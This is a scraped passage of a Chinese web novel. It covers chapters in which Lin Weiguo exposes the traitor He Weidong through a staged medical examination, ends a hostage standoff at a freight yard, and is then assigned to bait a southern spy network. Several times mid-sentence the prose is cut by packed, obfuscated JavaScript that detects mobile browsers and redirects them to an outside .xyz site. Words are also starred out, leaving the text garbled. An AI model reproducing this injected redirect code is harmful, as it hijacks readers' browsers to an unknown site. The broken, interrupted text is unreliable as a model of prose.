林卫国静静站在病房角落，看着这跨越三十年的重逢，心绪翻腾。 父亲背负三十年的无形枷锁，此刻终于卸下。 而那些被刻意尘封的、关于“九分队”、叛徒、血色黎明的惊天秘密，也到了揭晓的时刻。 京城，西山疗养院。 这间安静的房间里，时间仿佛停滞了三十年。 林长山和陈岩元勋，两位跨越生死再次相见的战友。没有惊天动地的拥抱，也没有激动的言语，只有两双通红的眼睛，和伸出又缩回、颤个不停的手。 岁月把千言万语，都刻在了彼此的皱纹里。 “坐吧。”陈老的声音带着一丝不易察觉的哽咽。 他摆了一桌简单饭菜，四菜一汤，都是林长山记忆中最熟悉的味道。桌中央，还放着一瓶不知珍藏了多少年的、早已绝版的“汾酒”。 饭桌上异常安静，空气沉甸甸的。 孙秀娥和林卫国坐在一旁，大气不敢出。那无声流淌在两位老人之间的，是浓得化不开的悲怆。 林长山始终沉默。 他没有动筷，只是端起小小的白瓷酒杯，将那辛辣的烈酒，一杯接一杯地倒进喉咙。 喝酒的样子，和他平日喝水一样，沉默又决绝。仿佛要把这三十年积压的委屈、恐惧、孤独、不甘，全都顺着酒液咽下去，让酒精烧成灰。 林卫国看着父亲从未有过的、如同迷途孩童般的脆弱，心如刀绞。他知道，父亲喝的不是酒。 他喝的是三十年的隐忍黑暗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我清楚记得，就在发出最后求救信号前，通讯员贺卫东，对着黑暗丛林，做了一个极其隐蔽的手势！那是只有我们‘九分队’核心才懂的，‘任务完成，请求接应’信号！” “当时，我以为他是紧张出错。现在想来…他那是在给敌人报信！” 第83章 特别体检 悔恨与自责浸透了他的声音。 “突围时，副队长老牛为了掩护我们，身中三枪…肠子流出来了！贺卫东离他最近，只要拉一把，老牛就能活！” “可他没有！” 林长山狠狠一拳砸在桌上！ “他就那么眼睁睁看着敌人追上来，用刺刀活活捅死老牛！可后来在报告里，他把这说成‘顾全大局的英勇牺牲’！” 血淋淋的背叛细节，与贺卫东那份“英勇突围、保全机密”的报告，形成刺目的对比。 听罢，林卫国终于明白了。 他终于明白父亲三十年隐姓埋名、亡命天涯的日子，背负的是怎样能把人压垮的重担——战友惨死的画面，叛徒步步高升的**，日日夜夜啃噬着他的心。 孙秀娥捂住嘴，震惊得说不出话。她从未想过，那个老实巴交、说话都脸红的丈夫，竟有这样惊心动魄、鲜血淋漓的过去。 说完这一切，林长山像被瞬间抽干了所有力气。 他缓缓地，从贴身衣物那被汗水浸透的夹层里，摸出一个用防水牛油皮仔细包裹的本子。 手颤抖着，将这承载了无数英魂的日记本，递到陈岩元勋面前。 “老**……这是……我为牺牲的兄弟们写的‘证明’。” “我没用……护不住他们……只能……把这些都记下来……” 陈老布满老年斑的、同样颤抖的手，接过了这本比性命还要沉重的日记。 他缓缓翻开第一页。 那些熟悉的名字——他亲手挑选、曾在军中如龙似虎的战士——一个个映入眼帘。 这位戎马一生、见惯生死的开国元勋，再也无法控制。 滚烫的老泪，决堤般涌出。 肃穆的房间内，林长山用血泪和三十年孤寂写就的日记本，静静躺在开国元勋陈岩面前的桌上。它成了指证贺卫东叛国最直接，也最沉重的证据。 战友重逢的感伤悄然散去，取而代之的是复仇风暴来临前，令人窒息的凝重。 当晚，陈岩把林卫国单独叫到书房。 这位谈笑间定夺风云的老帅，此刻脸上却布满矛盾与为难。他亲自为林卫国泡了杯热茶，声音嘶哑沉重。 “卫国，你父亲的日记，我全看了。” “每一个字，都像刀子刻在我心上。”陈岩目光坦诚，毫无隐瞒，“但是……这件事，动不得。” “什么？”林卫国猛地抬头，眼中充满难以置信。 陈岩长叹一声：“贺卫东早不是三十年前那个通讯兵了。他身居高位，盘踞京城三十年，党羽众多，关系网根深蒂固，牵一发而动全身。我们现在唯一的证据，是你父亲三十年前的私人日记，在法律上连直接证据都算不上。贸然动手，非但无法一击致命，只会打草惊蛇，给他反咬的机会！更会引发高层剧烈动荡，冲击国家至关重要的大局！” “这代价，太大了。我们赌不起。” 国家稳定与战友血仇，这个沉重的难题，让这位杀伐果断的老帅也深深陷入矛盾。 林卫国沉默片刻，起身，对着陈老深深鞠躬。直起身时，他清澈的眼眸里，燃烧着不容置疑的火焰。 “**，请恕我直言。” “正因他身居高位，才必须毫不留情地铲除！一条毒蛇潜伏在心脏，今天能出卖战友，明天就能为更大利益出卖整个国家！留下这种毒瘤，对国家危害远胜任何动荡！” “‘九分队’英烈不能白死！我父亲三十年承受的非人折磨，不能就这么算了！” 林卫国的每句话都如重锤，狠狠砸在陈老心上。年轻人眼中执着的正义之火，点燃了老人因权衡而疲惫的心。但他仍在犹豫。 林卫国见强求无用，深吸一口气，强行压下滔**火，大脑飞速运转。片刻后，他提出了一个全新的、足以让人拍案叫绝的方案。 “**，我理解您的顾虑。既然不能从‘历史问题’直接攻击他，那就换个思路。” 林卫国眼中闪过与年龄不符的老辣精光：“我们从‘现在的问题’下手，让他自己亲手，露出致命的马脚！” 他要了一份当年“九分队”幸存者、如今在京重要岗位任职的人员名单。 “贺卫东有恃无恐，是以为所有知情者都已死绝。他最大的倚仗就是‘死无对证’。那我们就要让他知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200704|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，‘**’，也是会开口说话的。” “我提议，您以‘关心老部下健康’为由，组织一次最高级别的‘特别体检’，对象就是名单上这些人。” “而我，以您私人保健顾问的身份，亲自主持。” 他看着陈老微眯的疑惑双眼，平静地说出了那句足以洞察阴谋的话： “人，在生病的时候最脆弱。” “而我，最擅长的，就是透过一个人的身体，看到他的秘密。” …… 陈岩听完整个计划，怔立当场。随即，他那双浑浊老眼爆发出前所未有的惊人亮光！ 他猛地一拍桌子，畅快大笑： “好小子！好小子！” “你这招妙啊！借体检挖根，釜底抽薪！” 再无疑虑，他当场拿起红色专线电话接通中央保健局。 “喂！是我，陈岩！” “立刻安排最高级别特别体检！名单，稍后王刚送去！” 他动用最高权力，以最快速度为林卫国的计划铺平道路。 …… “特别体检”的通知如雪片般迅速下发。 贺卫东接到通知时，正悠闲品着顶级“大红袍”。看到通知上“特邀专家顾问”一栏的熟悉名字——林卫国，端茶杯的手微微一滞。 他面上不动声色。这无疑是陈岩的**。 但他不在乎。自信三十年的经营天衣无缝，一个毛头小子，能从自己身体里看出什么花来？ 然而，体检前一天。 一个意想不到的人主动找上门——正是曾被林卫国“三针定喘”折服的独子，贺军。 此时的贺军，脸上再无纨绔倨傲，只剩深深的恐惧。他看着父亲，嘴唇翕动良久，才艰难开口。 “爸……明天的体检……我能不能不去？” 贺卫东皱眉：“胡闹！这是陈老亲批，谁敢不去？！” “不是……爸……”贺军声音发颤，“是那个林神医……我总觉得他看我的眼神不对劲……” 他抬头望着父亲疑惑的眼睛，恐惧几乎溢出来： “他好像……什么都知道。” 第84章 引蛇出洞，一网打尽 一场悄无声息的“特别体检”，正在铺开。 当年“黎明”任务浴血归来的“九分队”老兵，如今散落于各个要害位置。 难得重聚，空气里却漂浮着不易察觉的紧绷。 多年的疏离，冲不淡深埋在尸骸与硝烟里的战友情。 那无形的烙印，依旧将几人牢牢捆在一起。 贺卫东的应对，可谓密不透风。 笔挺的中山装衬出沉稳，配合检查周到得体。 他几次动情地提起陈老、提起那些再没能回来的战友，话语间带着沉甸甸的分量。 “唉，老牛啊，就爱抽我那自带的旱烟叶子……可惜喽。” 一声叹息，满是沉痛。 “秦老，西南那次要不是林长山兄弟豁出命把你背出雷区……” 他语气真挚，情意深长，将一个重情重义、光明磊落的老英雄形象诠释得无可挑剔。 若非早已知晓真相，林卫国几乎都要被这位“影帝”的表演骗过去了。 林卫国这边，早已为每位“受检者”备下了精心设计的“考题”。 他熟练操作着精密的心电与脑电仪器。 嘴上轻松拉着家常，抛出的问题却暗藏玄机。 那些从父亲林长山日记里精心挑选、关乎当年任务真伪的细节，如同精准落下的鱼饵。 悄然引向他锁定的目标。 第一位走进这无声战场的，是昔日的爆破手，如今的工业部老钱。 量着血压，林卫国像是随口闲聊。 “老钱，听陈老提过一嘴，你们那次突围……是分了两路吧？” “你和贺主任他们走的是……南边那条要命的沼泽道？” 钱副主任脸上，一丝极短的僵硬，掠了过去。 “对，是有这么回事。” “当时……情况太紧急了……” 他的回答，与林长山日记里清清楚楚写着的“北方悬崖小道突围”细节，出现了微妙的偏差。 仪器屏幕上，代表钱副主任心率和血压的数据线，猛地跳动了一下。 尽管短暂，却异常刺眼。 轮到贺卫东了。 林卫国亲手为他贴上脑电监测仪的电极片，细致地检查着。 “唉，”他发出一声恰到好处的叹息，像在回忆陈年憾事，“可惜了当年伏击里牺牲的通讯兵小李。” “他要在……所有细节肯定都记得清清楚楚。” ——他把“通讯兵”这个最关键的职责，精准地“钉”在了贺卫东身上。 贺卫东的表情纹丝不动。 甚至配合地流露出沉痛。 “是啊，小李……是个好同志。” “为了掩护我们发信号……唉，不说了。” 演技依然天衣无缝。 然而！ 冰冷的脑电监测仪，却在刹那间死死攥住了他灵魂深处那汹涌的战栗！ 就在“通讯兵小李”五个字钻进耳朵的瞬间。 屏幕上监测紧张、恐惧和记忆冲突的关键波段（α、β波）骤然疯狂振荡！ 仿佛平静的海面遭遇灭顶风暴，炸开了锯齿状的狂涛！ 这场灵魂深处的剧烈震动，被数据如实描绘。 清晰地映入林卫国的眼底。 也瞬间同步传递给了隔壁房间。 通过闭路电视秘密监控着这一切的王刚。 体检结束。 林卫国将两份用红笔圈出异常曲线的报告，郑重交到办公室内等候的陈岩元勋和秦振邦将军手中。 他点了点钱副主任的报告。 “这人反应偏向‘恐惧’和‘心虚’，应该是知情者或胁从。” 随即，他指向贺卫东那份表面正常却隐藏着脑电惊涛骇浪的报告，声音斩钉截铁。 “而这个人——” “他的身体在拼命掩饰。” “他的心在说谎。” “他就是叛徒！主谋！” 两位老将军眼中腾起凛冽杀意。 就在这时—— 医院走廊外。 担心父亲的贺军焦虑地来回踱步。 以医护人员身份出现的苏晚夏，端着一杯热茶上前轻声安慰。 “贺少别担心，**们检查都很顺利。” 慰藉间，她留意到这个纨绔子弟在紧张时，会无意识地反复摩挲左手腕上一块样式古朴的旧手表。 职业敏感让苏晚夏多问了一句。 “贺少这块表很别致，进口货？” 心烦意乱的贺军脱口而出。 “嗯，海外亲戚送的。” “说是瑞士高科技，加了特殊矿石，能静心安神，对我哮喘好。” 静心安神？ 特殊矿石？ 苏晚夏心中一凛！ 她立刻将这看似寻常的细节转告林卫国。 林卫国在听到消息的瞬间，浑身血液几乎冻结！ 陈老体内神秘的KGB-7抑制剂！ 张怀德——那颗被境外操控的棋子！ 王刚的名字冲口而出。 “动用最高权限！” “彻查那块表的来源！” 王刚动用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个“引蛇出洞，一网打尽”的计划。 已在林卫国心中成型。 第85章 药引 翌日，贺家大院。 林卫国再次以“复诊”名义登门。几次治疗后，贺军哮喘大为好转，气色也好了不少，贺卫东对林卫国的“神医”身份深信不疑。 最后一次针灸结束，林卫国收起银针，面上却露出欲言又止的为难之色。 “林神医，怎么了？莫非犬子病情有变？”贺卫东敏锐察觉，紧张追问。 林卫国摇头叹息：“贺主任，令郎的病根深重，非同小可。我之前的治疗只是暂时压制，并未治本。” “要断根，”他看着贺卫东，缓缓道，“需最后、也是最关键的一步。” “我们需要一种极特殊的‘药引’。” “一种来自大洋彼岸，‘自由灯塔’顶尖生物公司最新研制的代号‘生命一号’的特效药。只有它配合我的针法，才能彻底修复令郎受损的肾脏根基。” 贺卫东锁起眉头：“国内能弄到吗？” 林卫国苦笑：“据我所知，这药尚在实验阶段，产量极低，被列为该国最高战略物资，绝无可能通过官方渠道流出。” 这番话将贺卫东逼入绝境。为救子，更为保住至关重要的联络渠道，他咬钩了！ 他紧紧握住林卫国的手，满面“感激”。 “林神医！大恩不言谢！您放心，此事包在我身上！无论如何，我必定把这药弄到手！” …… 当夜，贺卫东书房。 房门反锁，窗帘紧闭。他小心翼翼从儿子腕上取下那块瑞士表，置于特制金属底座，接上一根隐蔽的连接线，连向一台看似普通的短波收音机。 戴上耳机，他将收音机调到某个诡异频段。手指轻叩间，一串最高级别的加密摩斯电码，包含“生命一号”的所有信息，如幽灵般无声射向太平洋彼岸。 然而他不知。 就在信号发出的瞬间，华国反间谍部门秘密监控中心内，早已在林卫国授意下、对该频段进行全天候监控的红色警报，骤然亮起！ “报告！目标信号出现！” “信号截获！正在破译！” 一张潜藏国内、涉及药品医疗器械走私的庞大间谍网络，彻底浮出水面！ …… 海外间谍组织收到贺卫东的“紧急求药”信号，陷入两难。明知可能是陷阱，但贺卫东这条潜伏三十年的“大鱼”，价值太大，不容有失。 最终，他们决定铤而走险！ 通过一条已安全运行数年、专从南方边境向内走私违禁药品的秘道，将一批伪装成普通抗生素的“生命一号”送了进来。 京城南郊的废弃铁路货站，成了行动的终点站。 陈岩和林卫国心里都明白，等了多年的毒瘤，这一次终于要被连根拔起了。军警国安早已张开大网，无声地锁紧了货站四周。 谁曾想，行动前一晚，贺家大院出了岔子。 贺卫东竟迷晕了自己的儿子贺军，把人塞进那辆伏尔加的后备箱。夜色掩护下，他独自开车，疯了似的冲出大院。 …… 贺卫东带着儿子跑了！ 这消息像道惊雷，瞬间劈裂了行动前的寂静。联合指挥中心被砸蒙了。“该死！”老将秦振邦的铁拳狠狠砸在地图上，桌面嗡鸣，纸上的标记糊作一团。“这老狐狸，滑不溜秋，够狠！” 指挥室里空气凝固，沉重得让人窒息。 贺卫东很快传来密信：拿他儿子的命换一条南逃的生路。 消息传回，指挥中心立刻炸了锅。 该怎么应对？领导们迅速分成了两边。 一边寸步不让：坚决抓！必须立即行动！ 另一边忧心忡忡：贺军是人质，唯一能钓住贺卫东的饵，万一出事，后果不堪设想。 两边吵得面红耳赤，争得不可开交。就在这时，林卫国上前一步，沉声开口： “我去。” 两字出口，稳稳当当，像块石头落水，瞬间压住了所有嘈杂。所有人的目光齐刷刷钉在他身上。 “贺卫东现在就是条咬人的疯狗，见谁都咬。”林卫国目光沉静地扫过众人，“可我不一样。在他眼里，我是唯一能救他儿子命的神医。” “卫国！胡闹！”秦将军吼了出来。 “林顾问，去不得啊！”王刚也急得直冒汗。 林卫国却只是轻轻摇头，语气无比笃定：“**，眼下只有这条路。只有我能靠他最近……也只有我，能给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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活活饿死 林卫国眼神冰冷如刀，毫无怜悯。他缓缓翻开手中那本泛黄的日记，停在了一页凝固着暗沉血渍的纸面上。每一个字，都是林长山用三十年的噩梦与悔恨刻下的烙印。 他的声音不高，却像一把淬了冰的利刃，精准地剖开了贺卫东最后的伪装。 “……突围时，老牛重伤，肠子都流出来了。他用尽最后力气，死死攥住离他最近的贺卫东的裤腿，求他拉一把……只要一伸手，就能活！” 林卫国的语调毫无波澜，平静地陈述着一个残酷的事实，却比任何嘶吼都更有力量。 “可他没有！他就眼睁睁看着老牛被敌人追上……活活捅死！” “他甚至回头对我们喊……说要顾全大局！” 每一个字都像一记重锤，狠狠砸在贺卫东心口！他剧烈地喘息着，抱着头的双手指节捏得惨白，整个人筛糠般抖个不停。 “闭嘴！你给我闭嘴！！” 林卫国合上日记，目光反而更加锐利，仿佛穿透时光，看见了那个血泊中的汉子。 他突然开口，声音和语调都变了，带上了一股浓重、粗犷的北方乡音——那是“铁牛”张铁山最熟悉的腔调。 “贺卫东，俺是‘铁牛’，俺在下头问你一句话。” 这口音如寒针刺骨，让濒临崩溃的贺卫东浑身骤然绷紧！他惊恐地抬起头，仿佛看见那个浑身是血的副队长，就站在眼前！ 林卫国用那陌生的乡音，一字一句，清清楚楚地问： “俺死在战场上，俺认了！可俺那唯一的儿子，俺留在家里的独苗……为啥会在六零年，活活饿死？！” 轰！ 这句话如同九天惊雷，狠狠劈在贺卫东的天灵盖上！彻底碾碎了他最后一点名为“理智”的东西！ 那不仅仅是对战友见死不救的罪孽，更是他亲手掐灭了战友血脉的终极背叛！这份如山血债，再也容不得他任何狡辩！ “啊——！！” 贺卫东发出一声濒死野兽般的嚎叫，彻底癫狂。眼中最后一丝人性被血红的疯狂吞没，只剩下赤裸的暴戾与绝望的求生。 他不再辩解，不再掩饰，扭曲的脸上爬满了狰狞。 “没错！都是**的！那又怎么样？！”他猛地将枪口死死顶住怀中儿子贺军的太阳穴，手臂青筋暴突，力量大得要将儿子头骨挤碎，“我想活下去！我想往上爬！我有什么错？！” **一下下敲打着贺军的头骨，他对着空荡荡的四周嘶吼：“你们都想我死？我偏不死！我还要活得比你们都风光！” “备车！备船！现在！立刻！马上！”他拖着半窒息的贺军，一步步后退，枪口始终焊在儿子头上，“送我南逃！否则，我就带着我贺家这根独苗一起走！谁也别想活！” 空气瞬间凝固，紧绷到了极点。 …… 数百米外，伪装成废弃油桶的狙击点。 王刚紧握高倍望远镜，掌心早已湿透。他旁边的狙击手额头汗珠密布，声音压进耳麦： “报告指挥中心！目标情绪完全失控！人质被用作完美肉盾，头部完全暴露在枪口下，处于绝对危险位置！风速三，湿度七十，无法保证一击毙命！请求指示！” …… 联合指挥中心，气氛压抑如铁。 “混账！” 秦振邦老将军一拳狠狠砸在铺满地图的指挥桌上，水杯嗡嗡震响。那双经历过硝烟的眼睛赤红如血，死死盯住屏幕上贺卫东那张疯狂扭曲的脸。 “查！给我查透！他一个京城干部，南边怎么会有船接应？他背后这张网，到底有多深！”老将军的怒吼在指挥室回荡。 一旁的安平县领导钱国栋等人，早已面无人色，身体控制不住地颤抖。他们这辈子经手最大的案子不过偷牛**，何曾见过这等阵仗？平日只能在报纸上仰视的部级高官，此刻竟像个疯子一样用枪顶着亲生儿子！这彻底击碎了他们的认知。 角落里，一直静默观察的京城联合调查组组长周正，眉头紧锁成“川”字。他侧过头，用一种不带一丝温度的、标准到冰冷的公式化声音对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200707|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录员说： “记录：目标贺卫东，现场观察及心理评估显示，已完全丧失理智，精神状态极端暴力化，具备极高社会危害性。建议……必要时，采取最高等级处理方案。” 冰冷的话语，宣告了官方对叛徒贺卫东的最终裁决。 就在所有人以为结局只能是同归于尽之时—— 异变陡生！ 被贺卫东死命勒在怀中的贺军，一直处于半昏半窒的状态。父亲疯狂的嘶吼、顶在太阳穴上的冰冷**，像烙铁一样烫进他意识深处。 求生的本能、被至亲当作肉盾的怨恨、林卫国那番话引发的巨大恐惧……此刻轰然爆发！ 他那双因缺氧而涣散的瞳孔深处，骤然闪过一丝混合了无尽恐惧与孤注一掷的决绝！ 他耗尽了全身仅有的力气，猛地张嘴，对准父亲那死死**、布满蚯蚓般青筋的手臂，狠狠咬了下去！ 这一口，仿佛用尽了他一生的力气！ “呃啊——！” 手臂传来的剧痛让癫狂的贺卫东发出一声凄厉的惨嚎！ 这来自于亲生儿子的致命背叛，完全出乎他的意料！**的手臂本能地一抖，枪口在那万分之一秒的瞬间，偏离了贺军的太阳穴！ 就是现在！ 千钧一发！ 所有人的心都悬到了嗓子眼！ 砰！ 一声沉闷却极具穿透力的枪响，如同死神的宣告，骤然撕裂了货站沉寂的夜空！ **，并非来自狙击点！ 仓库内，枪响刹那，贺卫东与贺军父子俩的身体同时剧烈一震！ 贺卫东脸上那疯狂狰狞的表情骤然定格，化为极致的错愕与难以置信。 被他勒在怀中的贺军，身体也瞬间软了下去。 两人如同被抽去了所有骨骼，依旧紧紧缠绕着，却无法支撑自己，重重向后倒去，砸在冰冷的水泥地上，激起一小片浑浊的尘埃。 一缕暗红的鲜血，从他们交叠的身躯下，无声地、缓慢地蔓延开来。 第87章 生命一号 **精准击中贺卫东**的手腕。 “当啷！” ****脱手飞出，在水泥地上擦出刺耳的火星。 剧痛让贺卫东一声闷哼。他看着自己瞬间失去功能的手，疯狂脸上的暴戾与狰狞如潮水般退去，只剩下死灰般的绝望。 他输得一败涂地。 “行动！” 王刚一声低吼，按捺多时的特战队员如猛虎扑出，四面八方一拥而上。冰冷的枪口和黑色身影立刻淹没了瘫软在地的贺卫东。 毫无反抗，如同被抽掉脊梁的烂泥。战士们将他死死按在地上，铐上了冰冷的**。 王刚冲到林卫国身边，紧张地检查他和同样瘫倒的贺军： “你没事吧？” 林卫国摇摇头： “我没事。” 他看了眼旁边因惊吓过度而浑身颤抖、脸色惨白的贺军： “他只是受了惊吓。” 王刚看着这狼藉却无人伤亡的现场，再看向始终超然冷静的林卫国，眼中充满难以言喻的敬佩和震撼。 从心理攻坚，到引爆贺卫东的疯狂，再到最后逼出那稍纵即逝的机会——一切尽在这年轻人的掌控之中。 零伤亡！ 面对一个持械崩溃的前高官和人质，林卫国再次以零伤亡的完美战绩，解决了这场足以载入国安史册的特级危机。 无论是指挥中心的秦老将军，还是全程面色凝重、审视全局的调查组长周正，此刻都对林卫国这个人，有了颠覆性的全新认识。 …… 秘密审讯室内。 昂贵的中山装早已换下，一身灰色囚服的贺卫东失去了所有权势的伪装，仿佛瞬间苍老了二十岁，眼神浑浊无光。 在强大的审讯攻势下，他的心理防线彻底崩溃，竹筒倒豆子般交代了所有罪行。从三十年前如何出卖“九分队”换取前程，到这些年如何为境外“自由灯塔”组织输送情报，建立庞大的间谍网络。 然而，当问及南方走私网络交易“生命一号”特效药时，他露出苦涩的笑容： “没用的，你们抓不到他们。这个‘水鬼’极度谨慎。我们之间，从来单线联系。” 他看了眼对面的周正： “唯一的联系，就是我儿子那块表——‘活体中继站’，只能单向接收‘水鬼’的指令。他想联系我时，自然会联系。” “我只知道，他会派人来京城，一手交钱，一手交货。还会交一份南方最新的潜伏人员名单。但时间、地点？我不知道，只能等。” 贺卫东抬起头，眼神里闪过一丝报复的痛快： “现在好了，人赃并获。这表？废铁一块。这条线……彻底断了。” 审讯室死一般的寂静。 他说得没错。敌人狡猾至极，把所有横向联系的线索斩得干干净净，唯一的钥匙，恰恰藏在贺卫东身上——这个当时看似最安全，实则最致命的环节。 钥匙断了。潜伏在南边的走私间谍网，像断了线的风筝，又一次遁入茫茫人海，不知所踪。 …… 案子后续，由调查组长周正全权接手。 内部阶段性总结会上，这位素来以刚正、死守“规矩”和“纪律”闻名的中年干部，第一次对行动盖棺定论。 秦振邦老将军、王刚，以及几位核心成员悉数到场。 周正清了清嗓子，翻开笔记本，那毫无波澜的调子像刻出来的一样： “首先，我代表组织，对林卫国同志在‘拔钉’行动中的卓越贡献，给予最高评价。” 他目光转向林卫国，微微点头： “无论是前期瓦解对方心理防线，还是对峙现场的沉稳果决，都展现出非凡的个人能力。零伤亡的完胜，首功归于林卫国同志。” 这话让秦老和王刚脸上露出了欣慰。 周正却话锋一转，手指突然捏了捏笔记本页脚： “但是，”他推了推黑框眼镜，目光锐利地钉在林卫国脸上，“在肯定贡献的同时，问题同样存在，且非常关键。林卫国同志这次表现出的‘特殊性’，已经引起组织高度关注。” “调动军方特批令，直通秦老将军这种级别的将领，行动中多次绕过既定流程，靠个人临场决断……这些行为，结果是好的。但从纪律和程序角度看，每一步都埋着雷，风险太大，根本无法控制。” 声音不高，却像重锤砸在人心上： “林卫国同志是把好刀，快得惊人。可越是锋利的刀，就越要收在组织的鞘里。” 周正啪地合上笔记本： “接下来深挖南方‘水鬼’网络，由调查组全权主导。林卫国同志作为核心技术支援，负责提供必要的医学及心理侧写支持，配合行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200708|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “同志们，我们是纪律部队。任何行动，必须在组织的统一指挥下进行。个人英雄主义作风，必须警惕，必须杜绝！” 这番话滴水不漏。功勋认可了，主角林卫国，也从行动主导者，被挪到了“技术顾问”的位置上。 秦老将军眉头微皱，终是没开口——周正说的每个字都是“规矩”，是“程序”，无从反驳。 林卫国始终沉默着，眼睛像深夜的海面，看不出丝毫波澜。 …… 千里之外的安平县，卫国制药厂却是另一番光景：热火朝天。 首批进口的德国高精度机床，在外籍专家护送下终于落地。新设备泛着冷光，工人们围着看，激动得直搓手。 可冲突眨眼就来。 调试的德国工程师汉斯，严谨得刻板，骨子里还自带西方傲慢。 “上帝！”他指着厂里刚升级的电力设施，夸张地耸肩摊手，满脸嫌弃，“就这个电压？你们的宝贝疙瘩第一天就得报废！” 他目光一转，戳着操作旧机器的老师傅，毫不客气： “安全手套？护目镜？天哪！这种老一套不规矩的操作，简直是用命在赌！是在侮辱我，更是在侮辱这套精密设备！” 这傲慢的指责，像火星子掉进油桶，瞬间点燃了以老厂长王建民为首的技术骨干的怒火。 王建民脸膛涨得通红，操着带口音的普通话反驳： “汉斯先生！条件差我们认！可我们工人技术不差！有能耐，靠真本事说话！凭这些‘老家伙’，我们照样出过硬产品！” 他语气斩钉截铁： “你的技术，我们尊重！但也请你，尊重我们的工人！” …… 京城，调查组临时办公室。 周正找到林卫国，一句寒暄没有，开门见山。 一份案情分析推到他面前。 “贺卫东的线断了。他交代了，‘水鬼’下次联络，就是取走‘生命一号’样品，交潜伏名单的时候。这，是我们唯一的机会。” 周正抬起头，镜片后的眼光鹰隼般锁死林卫国： “想揪出南边的蛇，就得有个新的‘贺卫东’顶上，去完成这场交易。” 他身体微微前倾，话语不容置疑： “组织决定，林卫国同志，你是这个角色绝佳的人选。” 第88章 诱饵 林卫国看着他，脸上不见半点波澜。没有意外，也没有不满。 他只是平静地点了点头：“任务，我接。” 周正镜片后的目光微微闪动。这年轻人背景不浅，难得的是懂得审时度势，这让他心里舒坦了几分。 然而，林卫国紧接着开口，语气同样斩钉截铁：“但动手之前，我得提个要求。” “说。”周正言简意赅。 “我要带我父亲，去见贺卫东最后一面。” …… 京城西郊，一座地图上找不到的牢笼。 狭小的囚室里，贺卫东蜷在角落。 沉重的铁门缓缓滑开。 贺卫东木然地抬起眼皮。当看清走进来的人影时，他浑浊的眼珠猛地一颤！ 林长山！ 是那个本该死在三十年前，却又活生生站在他面前的“山猫”！ 贺卫东的身体瞬间筛糠般抖了起来，喉咙里挤出不成调的“嗬嗬”声，恐惧像冰水浇透全身。他以为接下来会是劈头盖脸的拳头，或是血泪交织的控诉。 然而，什么都没有。 林长山只是静静站着，背着手，像棵沉默的老松。一身洗得发白的蓝色工装，让他看起来像个再寻常不过的老农。 那双饱经风霜的眼睛，平静地注视着这个毁了他一生、害死所有兄弟的叛徒。 没有愤怒，没有怨恨，甚至没有一丝波澜。 那是一种俯瞰蝼蚁般的平静，一种历经三十年地狱煎熬后，对一切都已看淡的超然。 时间仿佛凝固。 许久，林长山才缓缓开口，声音沙哑却异常清晰。 “贺卫东，”他叫着他的名字，如同叫一个陌生人，“这些年，你睡得好吗？” 一句最简单的问候。 却像一柄无形的万钧重锤，狠狠砸碎了贺卫东用三十年权势、谎言和伪装堆砌起来的所有防线！ 是啊，睡得好吗？ 午夜梦回时，会不会看到“铁牛”流出的肠子？会不会听到“猴子”坠崖时的惨叫？会不会闻到那个雨夜里，战友们温热的鲜血混杂泥土的腥气？ “啊！” 贺卫东再也承受不住，抱着头发出凄厉的惨叫！他猛地从地上爬起，不顾一切冲到林长山面前，双膝一软，重重跪倒在地！ “山猫！我对不起你！我对不起兄弟们！” 他涕泪横流，鼻涕眼泪糊满了那张曾经儒雅的脸，再无半分人样。他死死抓住林长山的裤腿，如同抓住最后一根稻草。 